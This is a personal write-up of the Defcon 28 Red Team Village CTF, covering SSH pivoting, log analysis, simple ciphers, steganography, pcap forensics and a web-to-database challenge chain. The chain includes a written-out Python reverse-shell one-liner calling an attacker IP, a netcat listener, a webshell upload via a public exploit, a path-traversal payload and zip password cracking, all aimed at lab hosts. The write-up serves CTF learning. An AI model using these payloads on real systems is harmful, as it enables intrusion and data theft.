Defcon28 Red Team Village CTF 2020 Write-up
Thoughts
I want to start this post out by giving a big thank you to all the organizers and volunteers of Defcon 28. We are all facing a difficult time at the moment, in one way or another. Everyone really stepped up to make this event as great as it could be through the constraints of being exclusively virtual. Though I missed not being physically on-site to drink myself into a stupor amongst peers and friends. In exchange, I found this year to be particularly productive. I participated in the Red Team village’s CTF as well as the IOT village’s CTF. I also took Georgia Weidman’s “Hands-On Exploit Development” training. Georgia has a solid understanding of the material and communicates not just the concepts but the details well. Although this course was mostly review, I walked away with a more solid foundation on GNU’s Debugger, troubleshooting code, and exploitation. Big shoutout to the crew @dc562 you guys brought it this year and I couldn’t be more proud. Please enjoy the write-ups from the challenges I completed in the Red Team village’s CTF and feel free to contact me should you have any questions.
Introduction
Challenge Name | Category | Solves | Points |
---|---|---|---|
Bastion | Tunneler | 360 | 25 |
Browsing Websites | Tunneler | 276 | 50 |
SSH in tunnels | Tunneler | 267 | 50 |
Another Pivot | Tunneler | 169 | 75 |
What failed | Logs | 437 | 25 |
Who failed | Logs | 388 | 25 |
We failed | Logs | 401 | 25 |
Whom failed | Logs | 401 | 25 |
All about that base | Crypto, Ciphers, and Encodings | 504 | 10 |
All about that base remix | Crypto, Ciphers, and Encodings | 360 | 10 |
n Eggs | Crypto, Ciphers, and Encodings | 423 | 10 |
et tu brute | Crypto, Ciphers, and Encodings | 376 | 10 |
AFSC 29331 | Crypto, Ciphers, and Encodings | 313 | 10 |
Don’t touch the third rail | Crypto, Ciphers, and Encodings | 188 | 10 |
Why are they even in that order in the fist place? | Crypto, Ciphers, and Encodings | 222 | 10 |
Pop a shell on that | Workout at Home Gym | 145 | 200 |
Let’s enumerate the host a bit 1 | Workout at Home Gym | 131 | 25 |
Let’s enumerate the host a bit 2 | Workout at Home Gym | 125 | 50 |
Let’s have some SQL fun 1 | Workout at Home Gym | 112 | 300 |
Let’s have some SQL fun 2 | Workout at Home Gym | 100 | 75 |
Let’s have some SQL fun 3 | Workout at Home Gym | 95 | 75 |
Let’s have some SQL fun 4 | Workout at Home Gym | 108 | 75 |
Lookin’ for dem Tiger Tunes | Tiger Tunes | 127 | 50 |
Tigers Never Let You Down | Tiger Tunes | 52 | 150 |
Look Closer | Tiger Tunes | 66 | 150 |
Can you hear me now? | Forensics | 127 | 10 |
Just a nice picture | Forensics | 127 | 25 |
Strings | Pwn | 155 | 75 |
Tom Nook - 1A | Forensics | 259 | 30 |
Tom Nook - 1B | Forensics | 318 | 10 |
Tom Nook - 1C | Forensics | 318 | 10 |
Tom Nook - 1D | Forensics | 279 | 25 |
Tom Nook - 1E | Forensics | 194 | 30 |
Tom Nook - 1F | Forensics | 192 | 20 |
Bastion
Category : Tunneler | Solves: 360 | Points: 25
We are given the username, password, and port to connect to a bastion host via SSH.
In doing so we are presented with our first flag:
Flag: ts{SSHtoANonStandardPort}
Furthermore, we are given information to connect to “the pivot host”:
Address: 10.218.176.199, user: whistler, password: cocktailparty
Simple enough.
Browsing Websites
Category: Tunneler | Solves: 276 | Points: 50
We are given “Browse to http://10.174.12.14”.
This is an internal IP, we will need to setup a proxy in order to browse internally to this host.
We will accomplish this with proxychains and SSH with the following commands,
First, we will setup a dynamic port forward over port 1080 on our localhost to the bastion server via SSH on port 2222.
ssh -D 1080 tunneler@164.90.147.46 -p 2222
Next, we configure our proxychains config file (found in /etc/proxychains.conf) to use this port on our localhost:
echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
Lastly, we use the following command to transfer data from the internal IP (rather than browsing to it):
proxychains curl http://10.174.12.14
We are given the following output:
Flag: ts{TheFirstTunnelIsTheEasiest}
SSH in tunnels
Category: Tunneler | Solves: 267 | Points: 50
Now that we have our pivot setup, we should be able to SSH into another host using proxychains:
proxychains ssh whistler@10.218.176.199
We successfully connect to this new host and receive the next flag!
Flag: ts{IThoughtWeLostYouOnTheWay}
Another Pivot
Category: Tunneler | Solves: 170 | Points: 75
We are now tasked with connecting to an additional pivot.
There are two ways to go about this, I will cover both.
If we simply needed to connect to another host from our initial pivot and not establish another anchor point (second pivot) we could do this with the built-in SSH (-J) command that allows jumping from one SSH server to the next. (Note: some servers do not allow this, but in this case we can):
proxychains ssh -J whistler@10.218.176.199 crease@10.112.3.12
The other way to accomplish this, and pivot further into a network, would be to create another dynamic port forward on the first pivot machine (10.218.176.199), thus allowing us to connect to the second pivot server (10.112.3.12) via proxychains, rather than jumping from the first pivot machine using proxychains configured with the initial bastion host we established a dynamic port forward on.
We need to specify a new port to dynamically forward through our localhost:
proxychains ssh -D 1081 whistler@10.218.176.199
Now, we simply update our proxychains.conf file to use the new dynamic port 1081
:
Lastly, let’s use this new configuration to connect to the second pivot server and get our flag!:
proxychains ssh crease@10.112.3.12
Flag: ts{TunnelsInTunnelsInTunnels}
What failed
Category: Logs | Solves: 437 | Points: 25
I simply viewed the log file from Google Drive.
A quick review of the log file shows fail2ban has been configured to ban users over SSH.
Flag: ssh
Who failed
Category: Logs | Solves: 389 | Points: 25
For these set of challenges, the same log file is used.
After careful review we locate each unique IP address that has been banned:
92.252.94.69
116.31.116.47
47.202.16.90
12.70.197.135
91.224.160.108
91.224.160.106
108.58.9.206
195.223.55.28
Flag: 8
We failed
Category: Logs | Solves: 401 | Points: 25
The specific error we care about for this log entry is as follows:
A simple CTRL+F find all search on this log file for “CRITICAL Unable to restore environment” gives us the number of occurences the fail2ban service reached an unrecoverable state (a.k.a our flag): 48
Flag: 48
Whom failed
Category: Logs | Solves: 402 | Points: 25
For this challenge, we are searching for specific instances where the IP address is getting banned, rather than the reporting of IP’s that have already been banned.
Another use of CTRL+F through our web browser searching for “Ban
This provides us with the number of occurences of matches on IP Address: 116.31.116.47
Flag: 116.31.116.47
All about that base
Category: Crypto, Ciphers, and Encodings | Solves: 504 | Points: 10
This is a simple base64 encoded string.
echo "dHN7SXNUaGlzRW5jcnlwdGlvbn0=" | base64 -d
Flag: ts{IsThisEncryption}
All about that base remix
Category: Crypto, Ciphers, and Encodings | Solves: 360 | Points: 10
Another base64 encoded string?…
Nope.
Let’s try another base format.
Base32 it is…yawn.
Flag: ts{ThisIstotallyEncryption!}
n Eggs
Category: Crypto, Ciphers, and Encodings | Solves: 423 | Points: 10
The title “n Eggs” gives us the hint that this may be a Bacon Cipher.
Bacon cipher it is.
Output: “TSBACONISMYNAME”
Flag: TSBACONISMYNAME
et tu brute
Category: Crypto, Ciphers, and Encodings | Solved: 313 | Points: 10
Based on the format of this string, this looks like the flag but just rotated.
Could it be the best encryption of all time ROT-13?!
“TSANOLDIEBUTAGOODIE”
They should’ve used ROT-26, double the encryption next time.
Flag: TSANOLDIEBUTAGOODIE
AFSC 29331
Category: Crypto, Ciphers, and Encodings | Solves: 313 | Points: 10
Doing a quick Google Search on “AFSC 29331”, we learn this is an Air Force Specialty Code.
The string itself looks like morse code. The translation of morse code is as follows:
“DUTY BOPPERS”
Flag: DUTY BOPPERS
Don’t touch the third rail
Category: Crypto, Ciphers, and Encodings | Solves: 188 | Points: 10
The title gives us a hint that this is likely a Rail Fence (Zig-Zag) Cipher.
Specifically with a height of 3.
“ts{ZigyzagyCipherFTW}”
Flag: ts{ZigyzagyCipherFTW}
Why are they even in that order in the fist place?
Category: Crypto, Ciphers, and Encodings | Solves: 222 | Points: 10
This was actually my favorite cipher challenge.
As we can tell, the numbers above range from as low as 3 to as high as 20.
My instinct told me this was simply a numerical representation of alphabetical characters.
Let’s translate it and check:
Flag: TSLONGESTCOMBOEVERRECORDED
Pop a shell on that
Category: Workout at Home Gym | Solves: 145 | Points: 200
We are presented with the following challenge, to get a shell on this web server.
Let’s browse to it and start our enumeration.
As we can see, we are presented with a “Gym Management System 1.0” webapp software.
There is a login for the site, but let’s do a quick check for any known vulnerabilities for this software.
Hey, that looks promising, let’s check out the source code.
It looks like this python script will perform the uploading of a php webshell through an unauthenticated file upload vulnerability.
Let’s give it a go.
Sweet ascii art!
Now to find the flag on the root of the filesystem:
That was an easy shell to pop. No kidding.
Flag: ts{ThatWasAnEasyShelltoPop}
Let’s Enumerate this host a bit 1
Category: Workout at Home Gym | Solves: 131 | Points: 25
Now that we have our webshell, let’s get a full shell on this host to make enumeration on the filesystem easier.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacking-ip>",6669));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
On our attacking server we setup a netcat listener:
nc -nvlp 6669
Once we catch the reverse shell we’ll want to spawn a TTY:
python -c 'import pty; pty.spawn("/bin/sh")'
Now that we have a nice working shell, we can check for the IP address of the mysql server.
I went ahead and ran ps aux | grep mysql
to look for a running instance of mysql:
So, we know the IP address is 10.213.12.10
Flag: 10.213.12.10
Let’s Enumerate this host a bit 2
Category: Workout at Home Gym | Solves: 125 | Points: 50
Next, we need to locate the root password of the SQL server account.
Well, we know from running our previous ps aux | grep mysql
command that the www-data user has an active session connecting to the “gym” database on the SQL server with the root account.
Let’s try some default passwords:
root:root
doesn’t work.
Maybe root:toor
.
There we go!
mysql -h 10.213.12.10 -u root -p
Flag: toor
Let’s have some SQL fun 1
Category: Workout at Home Gym | Solves: 112 | Points: 300
“Now you need to get a real shell.” One step ahead of you. ;)
Let’s see if we can locate the admin user.
First, we will use the following command to connect to the “gym” database from MySQL:
use gym;
Next, let’s take a look at the tables on the “gym” database.
show tables;
The “members” table sounds particularly useful. Let’s check the columns for the members table.
show columns from members;
Okay, now let’s select members from the “admin” column who’s value is equal to 1. This should yield any admin users found in the “members” table.
select * from members where admin = 1;
“James” is our admin.
Flag: James
Let’s have some SQL fun 2
Category: Workout at Home Gym | Solves: 100 | Points: 75
We need to enumerate the SQL tables further to find this information.
Previously, when we checked the columns we saw a “currentmembership” column for the members table.
Let’s check for members whose “currentmembership” = 1, meaning they have a current membership.
select * from members where currentmembership =1;
This gives us 5016 rows (or members) for output.
Flag: 5016
Let’s have some SQL fun 3
Category: Workout at Home Gym | Solves: 95 | Points: 75
Now we need to find the most popular gym location.
We know there is a “gymlocation” column from the members table. We will use this to find the flag.
Let’s take another look at the tables.
show tables;
Locations should tell us the different locations we will want to enumerate members with. Let’s check it out.
Okay, so we have our locations and their respective id’s, now we simply need to check the number of members for each location. We’ll choose the location with the most rows (or members) from the results.
select * from members where gymlocation = 0
2018 rows for “Home Location”
2017 rows for “Chicago”
1971 rows for “Atlanta”
2068 rows for “Austin”
1926 rows for “Baltimore”
Austin is the most popular gym location.
Flag: Austin
Let’s have some SQL fun 4
Category: Workout at Home Gym | Solves: 108 | Points: 75
Now for the last flag in this category we will need to locate the first failed login attempt by year.
Let’s take a look at the tables once more:
show tables;
“login_attempts” likely has the information we are looking for.
Let’s check the columns for this table:
show columns from login_attempts;
Okay, so the third column is of most interest to us. Let’s see the values for this column.
select * from login_attempts;
Okay, so we have numbers ranging from 1402641415-1597006651 or higher.
These timestamps are epochs. We will need to convert these to a human-readable time format.
Great, so it looks like 15XXXXXXX is from year 2020. Let’s try showing only values of login_attempts from lower values. Let’s say 1400000000.
select * from login_attempts where time <= 1400000000
We see 603 rows in this set.
Let’s check lower than 1380000000
select * from login_attempts where time <= 13800000000
This query returns “Empty set”. It looks like the lowest value is at least 139XXXXXXX
This gives us the following year: 2014
Flag: 2014
Lookin’ for dem Tiger Tunes
Category: Tiger Tunes | Solves: 127 | Points: 50
We are presented with the following url:
http://164.90.157.234:8000/
Browsing here we find:
Enumerating the website we find the following in the robots.txt file:
Unfortunately, the challenge is not as simple as browsing to /etc/flag.txt through the URL.
Let’s see if we can find the “/etc/flag.txt” file with a vulnerability.
At the top we see a search bar. Maybe there is a local file inclusion vulnerability through the search function.
Sure enough, by searching for “../../etc/flag.txt” we are returned with the output of /etc/flag.txt
Flag: TS{SheDidItDotDotDotty}
Tigers Never Let You Down
Category: Tiger Tunes | Solves: 52 | Points: 150
I’ll be honest, this one took me a little while to figure out. But it did click eventually, let’s walk through the process.
We know from the webapp that there is a “Joe’s Tracks” directory.
Browsing here: “http://164.90.157.234:8000/joe.php”
We see images of popular albums, including the ever popular “Joe Exotic’s - Tiger King” album.
My initial thought was there may be either another web vulnerability chained from the location of this album image or that the album art has hidden steganopgrahy.
Browsing to “Joe Exotic’s - Tiger King” album art we see a password lock layer on top of the image. This must be steganography right? Let’s check the directory the JPEG file is in.
“http://164.90.157.234:8000/album/”
Hmm, so there is the original tigerking.jpg album and a tigerking_alt.jpg image…
Let’s check for hidden data in the original image.
steghide extract -sf tigerking.jpg
Okay, so we locate a troll.txt file from the image. This troll.txt file contains a base64 encoded string that, when decoded, provides a youtube link. We are about to get rick rolled. Yep, rick roll.
At this point I checked the tigerking_alt.jpg image for steganography before circling back to this challenge.
Eventually I came back to this challenge. The point that clicked for me, was the connection between the rick roll and the title of the challenge: “Tigers Never Let You Down”.
Checking the entire list of JPEG files in the album directory, we locate a “rickastley.jpg” image.
“http://164.90.157.234:8000/album/rickastley.jpg”
Let’s download this file and check it with steghide.
steghide extract -sf rickastley.jpg
We’ve found our flag!
Flag: TS{NeverGonnaLetYouFindMyExHusbandsBody}
Look Closer
Category: Tiger Tunes | Solves: 66 | Points: 150
So, from the last challenge we had located two separate tigerking.jpg files.
We know there is no file hidden within the image itself from the last challenge.
Let’s look at the tigerking_alt.jpg file from within Gimp and see if the flag is hidden within the image itself.
By adjusting the brightness on the image, we locate the flag on the image itself.
Easy enough.
Flag: TS{SupaHotFireeeeee}
Can you hear me now?
Category: Forensics | Solves: 127 | Points: 10
We are given a .wav file from the google drive link above.
Let’s download the file and give it a listen.
Opening the file in Audacity we don’t hear anything audibly pleasing.
Let’s open the spectrogram.
Easy enough.
Flag: flag{s0nicw@v!}
Just a nice picture
Category: Forensics | Solves: 127 | Points: 25
The link provides a ctf.jpg image.
Let’s download this image and check for steganography.
Initially, I tried adjusting the images brightness, contrast, and color levels (red, blue, and green), all to no avail.
Steghide didn’t yield any hidden content either. Time to try some other stuff.
Running strings on the file shows some interesting content:
strings ctf.jpg
Let’s use binwalk to check the contents of this file.
binwalk ctf.jpg
Running binwalk on this file, we see a zip archive at 0x290791 offset that contains a flag.txt file.
Let’s use “dd” to extract the contents.
We are unable to unzip the file as it is password protected.
Let’s use fcrackzip to attempt to bruteforce the password with rockyou.txt wordlist.
fcrackzip -u -v -D -p /usr/share/wordlists/rockyou.txt flag.zip
Finally, let’s unzip the archive and display the flag.
Flag: flag{f93kfaskdif92}
Strings
Category: Pwn | Solves: 155 | Points: 75
We download the “strings.c” file and compile it using GCC.
gcc -o strings strings.c
Checking our newly compiled “strings” file with strings we see the flag in the output, but it has been mangled.
Let’s try viewing this compiled binary in a memory hex viewer such as “xxd”.
xxd strings
Easy enough.
Flag: ts{DidYouUseStringsorMaths}
Tom Nook - 1A
Category: Forensics | Solves: 259 | Points: 30
We are given a 7zipped archive containing a packet capture file.
7z x TomNookInternetTraffic.7z
Let’s open this pcap file in Wireshark. By checking the contents of the packet capture we find the first flag in the 7th entry of transmission data.
Flag: TS{TomNookUsesTheInternet}
Tom Nook - 1B
Category: Forensics | Solves: 321 | Points: 10
By analyzing the pcap file from the screenshot in the first challenge we locate the source IP:
Source: 192.168.1.47
Flag: 192.168.1.47
Tom Nook - 1C
Category: Forensics | Solves: 321 | Points: 10
Now, we simply need to locate the destination IP rather than the source IP within the pcap file.
Destination: 161.35.110.243
Flag: 161.35.110.243
Tom Nook - 1D
Category: Forensics | Solves: 282 | Points: 25
Further analysis of the packet captures yields the following filename:
Flag: SecretACBankStatement.zip
Tom Nook - 1E
Category: Forensics | Solves: 282 | Points: 25
We locate the “SecretACBankStatement.zip” file and use the “Export Packet Bytes…” tool to extract the zip file.
Now, we simply need to crack the password for this zip file.
Let’s use fcrackzip.
fcrackzip -u -v -D -p /usr/share/wordlists/rockyou.txt raw
Flag: monkey123
Tom Nook - 1F
Category: Forensics | Solves: 194 | Points: 20
Lastly, we need to unzip the contents and locate the flag inside the PDF.
Opening this “BankStatement.pdf” file we find the last flag.
Flag: TS{TomNookDrivesTheBoat}